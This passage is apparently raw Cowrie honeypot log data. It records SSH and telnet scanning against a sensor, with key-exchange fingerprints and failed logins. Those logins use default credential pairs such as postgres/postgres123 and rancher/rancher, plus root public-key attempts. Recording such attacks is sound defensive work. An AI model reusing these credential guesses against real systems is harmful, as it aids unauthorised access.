gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:25.743072Z","src_ip":"192.109.200.237","session":"e5a36256ed61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:26.062145Z","src_ip":"192.109.200.237","session":"e5a36256ed61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:27.148270Z","src_ip":"192.109.200.237","session":"e5a36256ed61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43672,"dst_ip":"159.203.135.109","dst_port":22,"session":"79bec1f9ac01","protocol":"ssh","message":"New connection: 192.109.200.237:43672 (159.203.135.109:22) [session: 79bec1f9ac01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:29.430340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:29.434273Z","src_ip":"192.109.200.237","session":"79bec1f9ac01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:29.516317Z","src_ip":"192.109.200.237","session":"79bec1f9ac01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34350,"dst_ip":"10.17.0.5","dst_port":23,"session":"553c561906ff","protocol":"telnet","message":"New connection: 50.6.8.71:34350 (10.17.0.5:23) [session: 553c561906ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:29.624996Z"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:29.763500Z","src_ip":"192.109.200.237","session":"79bec1f9ac01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:30.856882Z","src_ip":"192.109.200.237","session":"79bec1f9ac01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53952,"dst_ip":"159.203.135.109","dst_port":22,"session":"4186f8533f0d","protocol":"ssh","message":"New connection: 192.109.200.237:53952 (159.203.135.109:22) [session: 4186f8533f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:32.923294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:32.928433Z","src_ip":"192.109.200.237","session":"4186f8533f0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:33.011278Z","src_ip":"192.109.200.237","session":"4186f8533f0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:33.258041Z","src_ip":"192.109.200.237","session":"4186f8533f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:34.343446Z","src_ip":"192.109.200.237","session":"4186f8533f0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34316,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3ef60f44a2f","protocol":"telnet","message":"New connection: 50.6.8.71:34316 (10.17.0.5:23) [session: b3ef60f44a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:37.912416Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34326,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c7783756e3c","protocol":"telnet","message":"New connection: 50.6.8.71:34326 (10.17.0.5:23) [session: 8c7783756e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:41.684289Z"}
{"eventid":"cowrie.session.closed","duration":32.47879672050476,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:48.893163Z","src_ip":"50.6.8.71","session":"58038f183c0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.721224308013916,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:52.438964Z","src_ip":"50.6.8.71","session":"90d23889dcba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.82013750076294,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:54.853695Z","src_ip":"50.6.8.71","session":"ec94867429c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84312176704407,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:49:58.939805Z","src_ip":"50.6.8.71","session":"701b1c34f58b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.45.154.150","src_port":39516,"dst_ip":"159.203.135.109","dst_port":22,"session":"387ffd475c86","protocol":"ssh","message":"New connection: 199.45.154.150:39516 (159.203.135.109:22) [session: 387ffd475c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:03.564656Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51246,"dst_ip":"10.17.0.5","dst_port":23,"session":"60db2938af35","protocol":"telnet","message":"New connection: 50.6.8.71:51246 (10.17.0.5:23) [session: 60db2938af35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:03.584682Z"}
{"eventid":"cowrie.session.closed","duration":34.04637169837952,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:03.671263Z","src_ip":"50.6.8.71","session":"553c561906ff","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:03.688112Z","src_ip":"199.45.154.150","session":"387ffd475c86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:03.865011Z","src_ip":"199.45.154.150","session":"387ffd475c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.532426118850708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:08.444702Z","src_ip":"50.6.8.71","session":"b3ef60f44a2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:18.796723Z","src_ip":"199.45.154.150","session":"387ffd475c86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":59312,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed2b3cce2fb4","protocol":"ssh","message":"New connection: 80.94.92.184:59312 (159.203.135.109:22) [session: ed2b3cce2fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:20.846932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:20.855642Z","src_ip":"80.94.92.184","session":"ed2b3cce2fb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:21.019142Z","src_ip":"80.94.92.184","session":"ed2b3cce2fb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456789","message":"login attempt [solv/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:21.889441Z","src_ip":"80.94.92.184","session":"ed2b3cce2fb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:23.141174Z","src_ip":"80.94.92.184","session":"ed2b3cce2fb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.00804877281189,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:27.692180Z","src_ip":"50.6.8.71","session":"8c7783756e3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.92921328544617,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:36.513569Z","src_ip":"50.6.8.71","session":"60db2938af35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58452,"dst_ip":"10.17.0.5","dst_port":23,"session":"28d670fc19bd","protocol":"telnet","message":"New connection: 50.6.8.71:58452 (10.17.0.5:23) [session: 28d670fc19bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:54.406276Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":61122,"dst_ip":"10.17.0.5","dst_port":22,"session":"919971594083","protocol":"ssh","message":"New connection: 176.65.132.190:61122 (10.17.0.5:22) [session: 919971594083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:58.300613Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:50:58.305457Z","src_ip":"176.65.132.190","session":"919971594083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47296,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cade3e57b1e","protocol":"telnet","message":"New connection: 50.6.8.71:47296 (10.17.0.5:23) [session: 5cade3e57b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:00.845959Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.147.191","src_port":37408,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9408daac3b4","protocol":"ssh","message":"New connection: 45.148.147.191:37408 (10.17.0.5:22) [session: c9408daac3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:05.864296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:05.869731Z","src_ip":"45.148.147.191","session":"c9408daac3b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:05.966776Z","src_ip":"45.148.147.191","session":"c9408daac3b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:6e:04:9f:0a:fb:76:7d:90:a1:8e:54:12:cc:ec:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDrUQELzzI8A5xVGds4e2zfWOBZSZfZ+JMiCGAQWvS1Vo7jAmJGHAnqD+c+9oEn1pevqiSSL9KpWGqdMMdhy3i/ETHkWzzkdIzlgaMLxC1M7PtAUZnRobSSGzRvn90fSopv4IONrxFEJ4zAvHxF/WjtnbhEviO8X+bEUZuncE2Ag/Dclt+nJTwLhkWoFKkpH1bk0QwCOl7USOuUeVMcCrTRj5nUH35iVQ+baCtrjL/QWuALvCLAtY7gWK2ySYUjATg+M7auhlNKnMxuSP7/ULsDpUKYxW96EwfiUFejg7reYRDNz9XUWgdkq3ZU9Cl9/GjMou2toP5fdXhSwzM4W7T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:6e:04:9f:0a:fb:76:7d:90:a1:8e:54:12:cc:ec:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:06.399644Z","src_ip":"45.148.147.191","session":"c9408daac3b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:6e:04:9f:0a:fb:76:7d:90:a1:8e:54:12:cc:ec:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDrUQELzzI8A5xVGds4e2zfWOBZSZfZ+JMiCGAQWvS1Vo7jAmJGHAnqD+c+9oEn1pevqiSSL9KpWGqdMMdhy3i/ETHkWzzkdIzlgaMLxC1M7PtAUZnRobSSGzRvn90fSopv4IONrxFEJ4zAvHxF/WjtnbhEviO8X+bEUZuncE2Ag/Dclt+nJTwLhkWoFKkpH1bk0QwCOl7USOuUeVMcCrTRj5nUH35iVQ+baCtrjL/QWuALvCLAtY7gWK2ySYUjATg+M7auhlNKnMxuSP7/ULsDpUKYxW96EwfiUFejg7reYRDNz9XUWgdkq3ZU9Cl9/GjMou2toP5fdXhSwzM4W7T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:06.403582Z","src_ip":"45.148.147.191","session":"c9408daac3b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:fe:85:71:18:d9:9c:db:01:12:6f:c9:5f:d6:66:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWiyHI+hETCgnfjWss231G9Qbvfb54LPSq9OPmPr3jDHjaQxhZz17cMV6tUPBmDo1MlnJE0sFSzaAljmVJpT1mGs2HYOdVHy9byuckv19tcOWFGpy+dnLLM8uYHPMUA/2mBKZFoJLHAZtonUQBLOYsU2PstX4pVg9JWjIeZEF6odEG5WZWcYqM2otkZnUAHFPn8djGsY/X0BdRRTg6+8U0RX1neqssa3Q/G3OQFO9haejgliz30zNpi/QpmZ2imFJnRCFRcCGVf7CF3uJRF9smpRe9JN2z3KnFwbgr7eRrQ5AoPjA+BBxU5DnAep1yKtvpPgpxRtArlndGa/5J4ubT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:fe:85:71:18:d9:9c:db:01:12:6f:c9:5f:d6:66:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:06.496418Z","src_ip":"45.148.147.191","session":"c9408daac3b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:fe:85:71:18:d9:9c:db:01:12:6f:c9:5f:d6:66:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWiyHI+hETCgnfjWss231G9Qbvfb54LPSq9OPmPr3jDHjaQxhZz17cMV6tUPBmDo1MlnJE0sFSzaAljmVJpT1mGs2HYOdVHy9byuckv19tcOWFGpy+dnLLM8uYHPMUA/2mBKZFoJLHAZtonUQBLOYsU2PstX4pVg9JWjIeZEF6odEG5WZWcYqM2otkZnUAHFPn8djGsY/X0BdRRTg6+8U0RX1neqssa3Q/G3OQFO9haejgliz30zNpi/QpmZ2imFJnRCFRcCGVf7CF3uJRF9smpRe9JN2z3KnFwbgr7eRrQ5AoPjA+BBxU5DnAep1yKtvpPgpxRtArlndGa/5J4ubT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:06.500360Z","src_ip":"45.148.147.191","session":"c9408daac3b4","protocol":"ssh"}
